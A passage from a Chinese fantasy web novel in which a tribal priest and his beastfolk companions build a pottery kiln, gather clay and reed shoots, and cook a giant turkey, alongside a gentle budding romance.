害羞了,花时安隐约猜到了,他瞪大眼睛饶有兴致地看着兽人,嘴角抑制不住地扬起,“这么一说好像是有点凉,可我手上抹了药没办法穿,淮山,要不你帮帮我?” 莫淮山呼吸一窒,下巴紧贴着胸口,脑袋都快钻进地缝里,过了好半晌才挤出几个字:“不、不妥。” 随口一说逗逗他而已,又不是多严重的伤,不至于穿不了衣服。花时安笑着说了句“好吧”,转而用手指头捻起床头上干净的棕衣。 或许是声音听起来有点失落,或许是担心他着凉,犹犹豫豫的莫淮山忽然转过身,从花时安手中拿过棕衣,像给小孩子穿衣服一样,卷起棕衣,慢而轻柔地往他头上套。 专心替他整理衣服,兽人身体微微前倾,距离一下子拉得很近,花时安感觉头发扫到了他的胸口。 一站一坐,一高一低,从这个角度看,兽人英俊的有点犯规,锋利的下颌线,薄而红润的嘴唇尽收眼底,花时安如同被蛊惑一般,鬼使神差地伸出手,虚虚环住兽人紧实而流畅的腰腹。 很适合拥抱的距离,花时安想,也确实这么做了。 手腕稍一用力,他感受到了另一个人的温度。体温很高,和兽形一样暖烘烘的,就是常年在森林里跑,经常干体力活,兽人腰腹肌肉结实,硬邦邦的,没有兽形那么软乎。 脑瓜子“嗡嗡”作响,突然被抱住的莫淮山惊呆了,仿佛被那凌空落下的闪电击中,他嘴唇微张,双眼瞪如铜铃,木头一样僵在原地。 环在腰上的手臂存在感太强了,兽人呼吸明显停滞了一瞬,面上神情尤为复杂,有惊喜与错愕,还有一丝茫然和无措。 亚兽人抱着他,双臂紧紧环着他…… 这不好,他们还没有结成伴侣,不应该这样的。兽人想后退拉开距离,可就在这时,抱着他的花时安忽然一扭头,微凉的脸颊贴上了他的肚子。 “嗡——” 理智荡然无存,双手比大脑更快速地抬了起来,莫淮山如获至宝般回抱住花时安,手上力气非常大,似乎想要将他揉进身体里。 “时安,时安……” 低沉喑哑的呢喃萦绕耳畔,花时安埋在他怀里“嗯”了一声,轻声询问:“怎么啦?” “我、我……”莫淮山紧张得语无伦次,嘴唇张张合合,许久也没能说出一句完整的话。 花时安没说话,脸颊轻蹭肚子作为鼓励。 环住后背双手再度收紧,勒得花时安差点喘不过气,而兽人好似下定了决心,声音略有些颤抖,语气格外坚定:“我碰了你,我、我会对你负责的。” 这话属实有点煞风景,花时安不合时宜地笑出声。 如果身体接触就要负责,那他还得对木族长负责。 体谅兽人嘴巴笨,花时安拍拍他的后背,主动问:“打算怎么负责呢?” 这一次不再犹豫,莫淮山:“我想做你的——” “祭司大人!” 竹门没有关,岩知乐毛茸茸的脑袋毫无征兆地从洞口探了进来,一张小嘴还在不停地叭叭:“饭做好了祭司大人,我给你送过——哎哟我的天!” 半个身子刚钻进树洞,适应黑暗的眼睛看清床边抱在一起的两个人,岩知乐脚下打了个踉跄,一个屁股摔坐在洞口。 顾不上掉在地上竹筒,顾不上摔成八瓣的屁股,岩知乐跟见了鬼似的,手忙脚乱地从地上爬起来,转身就跑。 “对不起对不起,我什么都没看到!” 第64章 第 64 章 窑炉完工 三个人起早贪黑, 不知疲倦地挖掘,耗时两天半,不属于这个世界,仅存在于花时安脑海中的横穴窑被一比一的复刻了出来。 微风吹拂, 小河潺潺流淌, 河岸上方平整开阔的草地被一个突兀的黑洞打破和谐。洞口不算大, 比现代社会的井盖稍稍大一点,远远望去像是猎人在森林里布置的陷阱。 但走近一看,洞内另有乾坤。 窑室面积非常大,花时安撑着土壁一跃而下,感觉比自家树洞还要大上一圈,铺张大床睡觉都不成问题。上窄下宽, 窑炉整体呈梨形,地面夯实平整,洞壁打凿光滑,与早些年用来储藏食物的地窖有异曲同工之妙。 唯一的不同在于,靠近河岸那一侧,地面角落有着两个比石锅还大的窟窿。窟窿中窥不见光线,凑近一看, 下面还有一条窄而长的通道, 这是花时安特意让兽人挖的火眼,再通过火道连接火膛。 窑室堆陶坯, 火膛堆干柴, 接下来只需点燃火膛中的干柴,熊熊烈焰便会顺着火道蔓延上来,顷刻将整个窑室席卷。 窑室有点深,下来容易上去难, 花时安还是在两个兽人的帮助下才成功爬上草地,蹭了一身的泥土。 回头还得做把梯子,不然陶坯都没办法往里放。 爬出窑室径直往河边走,映入眼帘的河岸也变了模样,45度的斜坡被挖去小半,变成了一道垂直的坎。坎壁正下方被掏空的半圆形便是火膛,两侧空地也用泥土填平,可以用来堆放烧窑的干柴。 连接火膛和火眼的火道在窑内,外面看不见,就是这么一条小小的通道,却足足耗费了他们半天时间。 土层太厚,从上往下掏找不准位置,只能从下往上,但下面的火膛又太窄,人爬进去根本施展不开,最后还是两个兽人变回兽形,硬生生用爪子掏的。 功夫不负有心人,窑炉终于挖好了。最后里里外外检查了一遍,花时安擦了擦额间渗出的薄汗,爬上斜坡走向两个气喘吁吁,裹着一身泥土的兽人。 “怎么样祭司大人,没啥毛病吧?” 生怕出问题返工,花时安刚刚走上前,岩秋雨迫不及待地追问。 这两天太辛苦了,比之前翻地还辛苦。看着满头大汗,又提心吊胆的兽人,花时安抬起垂在身侧的手臂,四指并拢,竖起一个标准的大拇指,“没有任何毛病,非常完美,和我想象中的一模一样。” “呜呼!”岩秋雨怪叫了一声,整个人肉眼可见地放松,嘴巴咧到耳后根,“终于完事了,这、这什么来着,哦对窑炉,这玩意儿也太磨人了!” 莫淮山不赞同他的话,摸了摸鼻头道:“也还好。” 岩秋雨歪着脑袋瞪他,“嘿,你这人——” “行了,”花时安摆摆手,眼底漾着浅淡的笑意,轻声夸赞:“窑炉结构复杂,挖起来确实磨人。你们两个很能干,很厉害,原本我以为要挖五六天呢,结果两天多就挖好了。” “辛苦了,大家都是好样的,洗一洗回营地休息吧。” 岩秋雨就是嘴上爱抱怨,花时安一夸,他又不好意思了,垂着脑袋嘿嘿地笑,“也没有很厉害嘛,这是我们该做的。” 莫淮山也有点不好意思,抿着嘴唇笑了笑,“还有什么要做的吗时安,现在才过中午,休息好像有点早。” 窑炉挖好,事情就多起来了,但人又不是机器,哪能一直干。花时安想也没想,抬脚径直往前走,“下午的事下午再说,走,先去洗一洗,休息一会儿。” “好哦!”岩秋雨非常积极。 两个兽人直接去了河边,花时安先回了一趟树洞,拿上自己的羊皮边角料毛巾,又拿了几颗无患子,这才慢条斯理地走向河边。 开春不久,河水仍有凉意,岩秋雨就像是感觉不到冷,一头扎了进去。花时安走到时,岩秋雨早就游到河中间,岸边只剩下一个掬水擦洗身体的莫淮山。 “怎么不下去游两圈?”花时安蹲在兽人身旁,将羊皮搭在肩膀上,伸手给他递了两颗无患子。 两个人单独相处,莫淮山又紧张起来了,他接过尚有余温的无患子,嘴唇轻抿,歪头看着花时安,“在、在等你。” “哦?等我?”花时安明眸稍弯,唇缝中泄出一声轻笑,“等我做什么呀,有话要对我说?” 昨晚被岩知乐打断,那个话题最终还是没能进行下去。 很可惜,但不遗憾,因为那不是最好的时机。 花时安无疑是莫淮山见过最聪明,最优秀的亚兽人,可自己呢?莫淮山眸子微抬,在花时安澄澈的眼眸里看到了一个嘴巴笨,脑袋笨,空有个头和力气,一无是处的兽人。 所有人都觉得他配不上亚兽,所有人都觉得没有资格成为亚兽的伴侣,但他不想放弃这个唯一待他好,遇到困难时给予鼓励与支持的亚兽人。 莫淮山比都着急,怕花时安被人抢走,不想花时安的目光看向别的兽人,可求偶至少要有一件拿得出手的东西,他要做好准备,不能委屈了亚兽人。 一不小心走神了,旁边专心擦洗身体的花时安都快洗完了,莫淮山可算是找回了神志。他伸手碰了碰花时安的肩膀,却在对方转头看向他时,轻轻握住那只湿漉漉的手。 “时安。” 当河里游泳的岩秋雨不存在,莫淮山不知哪来的勇气,明目张胆地握着花时安的手,眸光深沉,郑重其事道:“再、再等等我好不好?旁人有的你也要有,我、我会努力的。” 我等你,你等我,莫名其妙的一句,花时安却听懂了。 没有任何犹豫,花时安反握住兽人的手,对上他不安的视线,笑着点点头,“等,多久都等。” …… 洗完澡回到营地,三个人只剩下两个人。不想让花时安等太久的莫淮山离开了,积极参与狩猎,匆忙前去与森林中清理陷阱的狩猎队汇合。 下午花时安打算四处转转,寻找适合制作陶坯的黏土或陶土。找土而已,他一个人去就行了,根本用不上兽人,但岩秋雨非说自己累,腰酸背痛哪哪都不舒服,说什么都要留在部落,跟着花时安干点轻松活儿。 撵又撵不走,那能咋办嘛,营地里喝了点水,休息了一会儿,花时安背上空背篓,把锄头丢进背篓里,带着牛皮糖岩秋雨快步走向下游。 不知道是不是受兽形影响,岩松鼠都沾点话痨属性。岩知乐一个,岩秋雨一个,话一个比一个多,有他们在的地方,压根别想安静。 这不,刚走过窑炉,说自己腰酸背痛的岩秋雨满血复活。 不满足于正常走路,他匆匆几步走到花时安身前,忽地转身倒着走,面对着花时安,一张嘴又开始叭叭:“祭司大人,我们这是要去哪儿?又是背篓又是锄头的,难道是去挖植物?你又发现什么新的植物了?” 问题之多,花时安都不知道该先回答哪一个,愣了两秒缓缓吐出一个字:“土。” “挖土?背篓用来装土?”岩秋雨眉毛一挑,扣着背绳的手松开了一只,指着脚下草地道:“这不到处都是土吗,为什么还要往远地走?” 话虽然密了点,但人家问的也是正经问题。花时安脚尖轻踢草地,随口道:“这土不合适,我要找那种柔软细腻,沙粒较少,黏性比较高的泥土。” 想到岩山周围也会出现陶土,花时安又补充道:“说起来你之前在岩山附近见过没?黄褐色或灰白色,比较特别的泥土,和我们平常见到的不太一样。” “这么一说……”岩秋雨捏着下巴沉思片刻,两只手啪的一拍,“见过!我还真见过。就是那种灰白灰白的土块,摸着特别光滑,掉地上一摔就碎了。” 灰白色,一摔就碎,很符合陶土的特征。 花时安忙地追问:“哪看到的?” 岩秋雨:“悬崖上。” 白激动了,花时安秒变脸,“得,当我没问。” “别啊,我爬山可厉害,蜂蜜都采下来了,泥土照样能弄下来,你要的话我上山去弄。”岩秋雨拍拍胸口道。 花时安摇摇头,“泥土可比蜂蜜沉多了,背着一背篓土上山下山,太辛苦了。再说那种陶土不难找,河边也会有,我们先找找看。” “好吧,实在找不到我再上山弄。”岩秋雨小鸡啄米似的点点头,紧跟着又问:“祭司大人你找那种土做什么?还有那窑炉,我一直没问呢,咱们挖那个玩意儿到底干嘛用的?” 花时安望着河边,不紧不慢地解释:“挖窑炉、找陶土,其实都是为了同一种东西——烧制陶器。知道你又要问陶器是什么,陶器是用陶土捏制成形,再由窑炉烧制而成的器皿。” “我们可以烧制很多东西,比如煮饭的锅,吃饭的碗,喝水的杯子,或者装水用的缸、陶罐。当然这些也不是随随便便就能做出来的,实际制作还是很难的。” 岩秋雨不解:“可是你说的这些,部落不是早就有了吗?石锅煮饭,竹筒吃饭喝汤,竹筒装水,这些挺好用的啊。” “好用吗?陶器更好用。”花时安轻笑一声,“陶锅轻便,和石锅一样大的陶锅,一只手就能拎着走。而且它导热快,煮东西也就快,石锅烧一锅水的时间,陶锅能烧三锅。” “真有这么神奇?”岩秋雨来了兴趣。 花时安:“真的,到时候烧出来你就知道了,不然我干嘛费这力气。” “可、可你说陶器是用泥土做的,会不会不太结实啊?” “泥土确实不结实,但放在窑炉里烧制后,泥就变成了陶,不仅防水,还结实耐用,当然,也不能直接往地上摔。” “我懂了!”岩秋雨猛地点点头,转过身来好好走路,步子明显加快了许多,“我们赶紧找,赶紧烧,我好想看看祭司大人你说的陶器到底是个什么样。” 花时安“嗯”了一声,跟上兽人的步伐。 终于安静了,但没走出多远,岩秋雨又双叒憋不住了。他刻意地清了清嗓子,弄了点动静出来,“祭司大人,我、我还有个问题。” 花时安没当回事,头也没抬道:“问。” 大大咧咧的兽人耳尖微红,看似盯着地面,余光却一直停在花时安的侧脸。似乎紧张得不行,他吸气呼气,呼吸声粗重,磨蹭了许久才缓缓开口:“祭司大人,天热起来我、我就成年了,如果你要找伴侣,能……不能,考虑考虑我。” 花时安差点以为自己听错了,倏地抬起头,“哈?!” 第65章 第 65 章 芦芽 “如果你要找伴侣, 能不能……考虑考虑我?” 纵使听错也不会错到这般离谱,花时安步子猛地一顿,惊愕地抬起头,泛着金色涟漪的眼眸中满是疑惑, 与浓浓的不可置信。 和红勇、莫淮山那类雄性特征明显的兽人不一样, 岩秋雨长相秀气, 皮肤白皙,个高却不显壮硕,属于精瘦型身材。 他的身材样貌,配上他大大咧咧的性格,与其说是兽人、男人,其实更像一个半大的男孩, 一个阳光开朗的快乐小狗,搁现代社会就一妥妥的男高。 红勇突然送来羊皮衣,花时安还觉得有点别扭,而岩秋雨的语出惊人,惊讶过后,花时安“扑哧”一声,不留情面地笑出了, “哈哈哈, 岩秋雨你……哈哈哈哈!” “不是,你干嘛呀祭司大人!” 好不容易鼓起勇气, 结果收获了一顿笑。岩秋雨嘴巴一瘪, 睁大眼睛愤愤瞪着花时安,“我是认真的!你不许笑,快回答我!” 不行不行了,差点笑岔气, 花时安在胸口上拍了几下。 不能再笑了,再笑会被误会成嘲笑的。 花时安双手握拳,指甲用力掐了下掌心,强压下笑意。然后他抬眸对上兽人的视线,语重心长道:“秋雨啊,成年只是说明你长大了,到了可以找伴侣的年纪,但并不说一成年就要立马找个伴侣,不要为了找伴侣而找伴侣。” 停顿的间隙,岩秋雨抓住机会反驳:“什么一成年就要找伴侣?我这还没成年呢,我就是想,想当祭司大人的伴侣。” 孩子直白得有点可怕,花时安无奈揉了揉眉心,“你年纪比我还小,我一直拿你当朋友,当弟弟,没别的想法。想必你突然说这些也不是因为别的,纯粹因为我们经常一起干活,相处的时间比较多。” “才不是,”岩秋雨不掩崇拜地看着花时安,努了努嘴道:“祭司大人你很优秀,你长得好看,脾气性格也好,头脑还聪明,哪个兽人不想当你的伴侣?” 还挺会夸,花时安笑了声,“那你喜欢我吗?” “喜欢……是什么?”岩秋雨歪着脑袋,眼底闪过一丝疑惑。 看着兽人懵懂的眼神,花时安悬着的心落回了实处,迈开步子继续往前走,边走边说:“喜欢是一种感觉,如果真的喜欢一个人,你会不自觉地关注、靠近,为他紧张、担心,频繁的思念。总之,你不喜欢我,你那顶多叫崇拜。” “这么复杂吗?我也没听说过啊,”岩秋雨听得一愣一愣的,抬手挠了挠后脑勺,“大家找伴侣不都是你情我愿,觉得合适就在一起过吗?” 花时安:“每个人的想法不一样,我会找一个喜欢的。” “那祭司大人你喜欢什么样的?”岩秋雨忙地追问。 花时安瞄了岩秋雨一眼,为了避免不必要的麻烦,故意说一些他没有的,“个子一定要高,身材要健硕,最好有肌肉,不要太瘦;然后长相硬朗一些,比较有兽人气概,还有哦,我这人比较喜欢安静,希望他话少一点。” 最后一句针对性太强,岩秋雨微微一愣,感觉一根尖刺穿过心脏,细密的刺痛从胸口到喉咙。 他不再说话,魂不守舍地垂下眼眸。 走走停停,翻翻找找,沿着河岸一路往下,约莫一个半小时后,河水流到了尽头,一片清澈平静,与杂草树木融为一体,碧绿的湖泊映入眼帘。 好似被世界遗忘的绿宝石,清澈见底的湖面波光粼粼,云絮与枝叶轮廓倒映在水面,游弋的银鳞小鱼清晰可见。 湖岸边界模糊,喜水植物在水中扎根。 湖水蔓延,苔藓斑驳的湿地里,芦苇随风摇曳,菟丝子攀着灌木肆意生长,被阳光染成金色的泥水中,才露尖尖角的荷叶尤为瞩目。 美得像童话世界一样,花时安看呆了,不知不觉都走进了湿地中。好在岩秋雨及时叫住他,他这才停下步伐,第一时间从背篓里取出锄头。 美景迷人,长在湿地里的荷叶更加诱人,但湖泊四周这种又是水又是泥的湿地暗藏危机,一不小心踩进泥炭积累的沼泽,不死也得脱层皮。 棕鞋脱下丢进背篓里,花时安赤着脚,拿着锄头探路,带着岩秋雨继续深入湿地。路过那些打着卷儿的荷叶,花时安不由多看了几眼,但他并未停下脚步,径直走向茂密的芦苇荡。 荷叶才刚刚冒出来,泥下不一定有莲藕,养着吧,等荷花开过结出莲蓬再来也不迟。现在最重要的是土,芦苇荡附近极有可能存在沉积的黏土。 芦苇荡很大,一眼望不到头,钻进芦苇荡中,两人走路的速度一下子放慢了许多。芦苇细长的叶片像刀一样,锋利无比,胳膊不小心蹭一下,立马留下一道血痕。 万物复苏的春天,生长较缓的芦苇尚在萌芽,如竹笋般细长翠绿的芦芽破土而出,密密麻麻遍地都是,散发着迷人的清香。 脚踝像被人拽着似的,花时安突然就走不动道了,浑然忘了来这儿的目的,他一忍再忍,然后蹲在地上掰起了芦芽。 “咔嚓咔嚓——” 一声脆响一根芦芽,非常地解压,且芦芽脆嫩,正是吃的时候,掰回去炒肉香掉牙。 “祭司大人,这什么呀,能吃?” 走着走着突然蹲下了,岩秋雨一脸懵。不过看他掰得挺有趣,岩秋雨自个儿也蹲下了,掰了一根芦芽仔细看,“瞧着和那水竹笋有点像,但周围又没有竹子,到底是什么啊?” “能吃,确实和水竹笋很像,味道也很像。” 花时安手一抬,指着旁边的芦苇与他介绍道:“这叫芦芽,又叫芦苇笋,就是这种芦苇的嫩芽。上次的竹笋太少了,大家都没吃够,咱们多掰点回去,回头弄着吃。” 岩秋雨:“土呢?不找了?要不还是先找找再来掰吧。” 差点给忘了,花时安若有所思地点点头,攥着一把芦芽站起身,“有道理,来,在地上挖几锄头试试。” “好嘞。”岩秋雨抡起锄头。 功夫不负有心人,东一锄头,西一锄头,没过多久,花时安和岩秋雨在两片芦苇荡交界处,一座高高垄起的土坡上挖出了适合制作陶器的黄泥。 黄泥也是陶土的一种,以土黄色、灰色为主的杂色黏土,虽然比不上红泥烧制出来的陶器好看,但其质地细腻,可塑性强,最适合制作大件的盆盆罐罐。 泥土和植物不一样,找到了就是一大片,根本用不完。不用再找了,花时安和岩秋雨当即挥起锄头,将半干不湿的黄泥从坡上挖下来,拣大块的装进背篓里。 泥土死沉,一满背篓花时安可背不动,最后只敢给他装半背篓,但剩下半个背篓也不能空着,于是花时安和岩秋雨在芦苇丛里钻进钻出,又掰了半背篓脆生生的芦芽。 背着背篓往回走,太阳已经开始落山了,部落离得远,两人一刻未歇,匆匆赶路,但回到部落时,天色依旧暗了下来。 采集队先回来一步,几个亚兽人与老人正围着火堆煮晚饭,而大部队围坐在空地,清理杂七杂八的野菜。 木族长体力不行眼神还挺好,花时安和岩秋雨刚放下背篓,他手中野菜一丢,匆匆跑上前,“干啥去了你们俩,回来得这么晚?” 不等花时安回答,木族长瞥见了背篓里的芦芽,连忙拿起一根,“哟,水竹笋!这玩意儿好吃,哪找得这么老多?咦,秋雨这背篓怎么装着泥,把泥背回来做什么?” 问题有点多,花时安呼出一口热气,一个一个地回答:“不是水竹笋,你认错了族长,这是和水竹笋有点相似的芦芽,芦苇的嫩芽,我们今天下游找到的新植物。” “土当然也不是普通的土,这叫黄泥,也叫陶土,族长你摸摸看,这种土很细腻的,是我们特意找来做陶器的。” “芦芽、芦苇?黄泥、陶土、陶器?”木族长挑眉看向花时安,露出一个一言难尽的表情,“就一天没见,你嘴里咋又蹦出来这么多我听都没听过的东西呢?这都什么跟什么?” 忘了还没给族长说,花时安笑笑解释道:“是这样的,前两天我不是带着淮山和秋雨在河边挖窑炉嘛,那个窑炉……” 窑炉的作用,黏土的作用,花时安把下午和岩秋雨说的话重复了一遍,尽可能简单通俗地给木族长科普。 木族长理解能力强,一听便懂了,同时也问出了和岩秋雨类似的问题:“真的假的?你说泥土做的锅薄、煮饭快我倒是相信,可你说结实耐用,这泥土跟结实沾边吗?” “窑炉,重点在于窑炉。”花时安说得口干舌燥,实在不想解释了,摆摆手道:“信我准没错,过阵子烧出来给你看看就知道了。” 木族长哈哈一笑,伸手拍了拍花时安的肩膀,“信你信你,谁不信也要信你啊!成,那我可就期待住了,烧出来记得第一时间拿给我看哦。” 花时安“嗯”了一声,算是应下。 四周环望不见兽人的影子,花时安叫住准备离开的木族长,问:“族长族长,狩猎队呢,怎么一个人都没有?” “哎!”木族长叹了口气,“别提了,还没回来,我也正发愁呢,眼瞅着天快黑了,也不知道人跑——” “狩猎队,狩猎队回来了!快来看,他们抓到猎物了!” 一声嘹亮的高呼炸响,花时安和木族长、岩秋雨对视一眼,齐齐迈开脚步,一阵风似的冲到草地。 夜色浓稠,一群兽人浩浩荡荡,在黑暗中尤为显眼。他们从上游下来,踩着夜色走上了田埂,由四个人抬着走,奇形怪状的猎物随距离缩短逐渐清晰。 黑褐色羽毛微光闪烁,锋利而狰狞的利爪,颈部形似珊瑚的皮瘤,那是……花时安瞳孔猛地一缩,火鸡!一只和鸵鸟差不多大的火鸡! 第66章 第 66 章 土豆烧鸡 放血拔毛, 开膛破肚取出内脏,清洗干净的火鸡剁成块,很快便由几个兽人抬到火堆旁边,特意抬到花时安面前放着。 在外面折腾了一天, 花时安累得胳膊都抬不起来, 但和鸵鸟差不多大的火鸡, 自诩见多识广的花时安也是第一次见,实在好奇得紧。 比人手还大的鸡爪,幼儿手臂粗的鸡脖子,内脏都能装一簸箕的大火鸡到底是个什么味儿?好奇心驱散疲惫,花时安洗干净手,蹲在火塘边忙活起来。 火鸡之大, 一锅装不下,好在狩猎队回来之前,晚饭已经煮得差不多了,他只需烧小半只鸡,添个菜,给族人尝尝鲜就够了。 鸡肉焯一遍水,备好姜片葱头、干辣椒干花椒等调味料。 没有去仓库取所剩无几的羊油, 清洗干净的石锅重新烧热后, 花时安拿着竹筒往锅里一倒,一块块晶莹剔透, 形似果冻的淡黄色固体滑入锅中, 激起一阵白烟,“滋滋”作响。 这是鸡肚子里挖出来的鸡油,很大一块,都快赶上一块猪板油了。花时安把所有鸡油倒入锅中, 用竹铲翻炒,油光水亮的鸡油快速缩水,瘪了下去,清澈的热油在锅中晃荡。 小半只鸡用不了这么多油,花时安盛出一些鸡油,装进干净的竹筒中,而后把备好的调料倒入石锅里,混着剩下的热油和油渣一同翻炒。 姜葱辣椒炒出香味,焯过水的鸡肉下入锅中,只听“滋”的一声响,油烟随风飘散,诱人的麻辣鲜香混杂浓浓的肉香在营地弥漫开。 好香啊,一点腥味膻味都没有,纯粹的肉香。 花时安贪婪地吸着鼻子,两眼放光。 忙活完就等饭了,围过来的族人越来越多。肉香诱人,吸气声此起彼伏,人们目不转睛地盯着石锅,议论声四起: “好香啊,这次的猎物不仅长得特别,味道也很特别。” “是吧,没有红羊那种奇怪的味道,特别香。” “就是长得太奇怪了,看第一眼的时候吓我一跳。” “哪里奇怪了?不是和天上那些飞鸟差不多吗,只是大了点,大鸟儿!” “别乱取名字,祭司大人说了,这叫火鸡。” “谁乱取了,我就是打个比方,比方!” “别吵了你们,有这精力不如多看看,多学学,祭司大人做饭可好吃了,我们要赶紧学会,不能总让祭司大人辛苦。” “我看着呢,越看越想吃,肉都变色了,可以吃了吧?” …… 夜色笼罩的营地闹哄哄一片,瞅着石锅里的鸡肉变色了,围观族人四散开来,各自拿上竹筒、竹筷,又一窝蜂似的围了回来。 都以为鸡肉炒好要出锅了,可就在这时,花时安放下竹铲,把亚兽人帮忙削皮切块,微微泛着水光土豆倒进了锅里。 土豆与鸡肉翻炒均匀,裹上油水,花时安两竹筒清水倒进去,旋即在数双蕴藏期待的眼眸里,拿了个竹编锅盖将石锅盖上。 饿极了的兽人一脸不可置信,“还没熟吗祭司大人?” “还要多久呀?”另一个亚兽人抿着嘴问道。 都饿了,但没办法,鸡肉里不混点土豆,怕是不够分啊。 花时安捶了捶微微泛酸的腰,原地转了个身,面向众人笑了笑,“快了,就一会儿,野菜和蒸鱼不是熟了嘛,先去盛,盛完回来就差不多了。” “真的吗,走走走。” 祭司大人从不骗人,几十号人打好野菜,分完蒸鱼,石锅里的水也差不多煮干了,最后撒上一点细盐、葱花,香喷喷的土豆烧鸡出锅咯。 小半只鸡说多不多说少不少,一个一个分的话,一人只能分到两三块肉。鸡肉放进装野菜的竹筒会串味,单独拿竹筒又懒得洗,花时安索性论竹筒分,亚兽人四个人一竹筒,兽人则三个人一竹筒。 忙忙碌碌大半宿,终于可以开饭了,花时安端着竹筒四下环望,在营地边缘大树脚下看到了朝他招手的莫淮山,以及坐在他旁边的红勇。 这两个人怎么还坐一起了? 花时安挑了下眉,端着竹筒走上前。 飘着热气的竹筒和树叶包着的蒸鱼放在两人中间,花时安刚刚走上前,红勇忙地拿起食物,邀功似的递给花时安,“时安来,野菜汤和蒸鱼我们都给你拿了,快坐下吃。” 从红勇嘴里听到“时安”两个字,坐在旁边的莫淮山明显一愣。他嘴唇张张合合,欲言又止,最后还是什么也没说。 肚子饿了,花时安早被鸡肉香迷糊了,没留意到莫淮山的神情。手中竹筒往地上一放,他从红勇手里接过竹筒与蒸鱼,道了句谢,屈膝蹲坐在地。 一口野菜一口汤,胃口彻底打开了,花时安在竹筒里夹了块油滋滋的鸡肉,一口下去腰不酸背不痛了,浑身都舒坦了。 火鸡个头虽大,肉却一点儿也不柴,烧的时间不算长,鸡肉一咬脱骨,非常鲜嫩。咸鲜微辣,很入味,生姜葱花的辛香与鸡肉充分融合,还带着淡淡的柴火气,简直香掉牙。 吸饱肉汁的土豆毫不逊色,又软又面,轻轻一抿即在舌尖化开,唯一的遗憾是没有米饭,不然土豆捣碎配上汤汁拌饭,花时安想想都流口水。 “好吃,好好吃啊祭司大人,你这饭做得也太好了!鸡肉鲜嫩,土豆软烂,比上次的羊杂,上上次的烤全羊还要好吃,是我长这么大吃到过最好吃的食物!” 土豆烧鸡相当合胃口,两块鸡肉下肚,沉默寡言的红勇像是被岩知乐附体了,滔滔汩汩,赞不绝口。 埋头干饭的莫淮山点点头,“时安做饭最好吃了。” 这话一出不得了,不远处围着吃饭的兽人也开始附和: “好吃爱吃,祭司大人多做饭!” “太好吃了,真的香掉牙!” “祭司大人……” 一唱一和,倒把花时安整得不好意思了,他忙地咽下食物,笑着摆摆手,“别光夸我,没有食材我厨艺再好也做不出一朵花,今晚能吃上鸡肉要多夸夸狩猎队。” 红勇也跟着摆摆手,“话不能这么说,没有祭司大人你,以我们的厨艺,今晚这好肉就要糟蹋了。” 再聊下去脸都要红了,花时安抿了一口野菜汤,极其自然地岔开话题:“那会儿忙着做饭忘记问了,话说你们在哪抓到的火鸡?野鸡可不会迁徙,去年这一带也没有发现野鸡的踪迹,你们不会是又往森林深处跑了吧?” 红勇“嗯”了一声,放下喝完汤的竹筒,不紧不慢道:“今天清理完陷阱,我们先是在附近转了一圈,不知道是不是天气回暖的原因,找了许久也没找到野兽的踪迹。” “羊肉吃完了,最近虽说有鱼吃,但始终差点意思。大家都馋那一口兽肉,所以我带着狩猎队往森林里面走了走。” “这小子今天很不错,干完活知道过来找我们,”红勇伸手拍了拍莫淮山的肩膀,难得笑脸相待,“火鸡也是他在灌木丛里发现的。火鸡味儿好,抓起来却是十分费劲,跑得快,尖嘴啄人可疼。” 火鸡居然是莫淮山找到的吗? 花时安转头看了兽人一眼,悄咪咪朝他眨了眨眼,旋即又将视线转回到队长红勇身上,道:“火鸡警惕性高,确实有一定攻击性,可以像上次抓红羊那样抓,变回兽形突袭。说起红羊……我记得火鸡也是群居动物,你们今天只发现了一只?” “火鸡居然是群居?可我、我确实发现一只。” 生怕是自己的疏忽吓跑了野鸡,莫淮山顿时紧张起来。 瞧他那紧张的样,红勇笑了声:“没人说你,明个儿再去那边找找就是了。” 花时安:“对啊,今晚能吃上鸡肉,淮山你功劳最大。” 莫淮山被夸得不好意思了,抿着嘴唇嘿嘿一笑。 安抚好忐忑的兽人,花时安敛去笑意,再度看向队长红勇,郑重其事地嘱咐道:“既然住在森林,往里面探索是迟早的事,但一定要小心啊。” “这座森林太大了,极有可能存在大型猛兽。如果遇到个头特别大的,赶紧变回兽形往树尖上逃,不要去正面对抗。还有,慢慢探索不要着急,一次不要走太远,做好记号防止迷路。” 红勇“嗯”了一声,重重点下头,“放心吧时安,我们沿路都有做记号。那种一看就抓不到的大个猛兽我们也会避开,不会傻到硬碰硬。” 晚饭吃完了,正事也聊完了,花时安打了个呵欠,一本满足地站起身,正准备去河边把竹筒收拾一下,坐在对面的莫淮山蹭地蹿起来,匆匆跑到身前。 “我来时安。” 当红勇不存在,莫淮山非常自然地从花时安手中拿走竹筒,深邃的眸子微光闪烁,“你说的,煮饭不洗碗,我顺便拿去洗。” “那就麻烦你咯。”花时安扬着嘴角冲他笑。 “不麻烦。”莫淮山拿着几个竹筒跑走了。 分明只是帮忙洗个碗,前所未有的危机感忽然笼罩着红勇。什么时候开始的?花时安似乎只会对傻大个露出温柔的笑,用一种红勇形容不来的眼神看他。 难不成……红勇呼吸一滞,快步走到花时安身前,“时安,你能不能别只看着傻大个,你看看——” “对了红勇。” 就是这么巧,花时安打断了红勇的话,且他并未停顿等红重新开口,自顾自地交代事情:“明早你带着狩猎队去下游帮我挖点泥回来,具体位置在哪,具体挖什么泥,到时候岩秋雨会告诉你。” “欸等等,干脆把采集队也带上。那边湿地里长着好多芦苇,如今正是吃芦芽的季节,让他们去采点回来,咱们晒点芦芽干。” 一股脑交代完所有事情,花时安捂着嘴打了个长长的哈欠,又与兽人挥了挥手,转身走进深沉的黑暗中,“困了,我先回去睡了,你也早点休息。” 第67章 第 67 章 制坯 清晨, 萦绕林间的雾气未散,营地早早忙碌起来。 孩童在灌木丛中穿梭,裹着一身潮湿的露水,带着厚厚一沓树叶归来。挑选平整的空地, 老人将大片树叶平铺在地, 岩知乐、红映兰抬着沉甸甸的背篓, 将黏糊糊的黄泥倒出。 芦苇荡周围挖回来的泥,夹杂着植物根茎、砂砾碎石,杂质略有些多。一背篓半黄泥平铺在地,花时安带着老人小孩与两个亚兽人席地而坐,围着一滩泥土挑挑选选。 人多干活快,太阳刚打天边探出头, 黄泥里面的杂质差不多处理干净了。舀两竹筒水掺进半干不湿的泥土里,花时安和两个亚兽人一同伸出手,吭哧吭哧地和泥。 没有拉坯用的机器,制陶全靠一双手,黄泥太硬难以操作,太软又难以塑形,容易变形, 花时安边揉边视情况加水, 最终将松散的黄泥揉成软软乎乎,能轻松搓圆揉扁又不沾手的泥团。 地面虽已打扫过, 但泥地免不了残留灰尘, 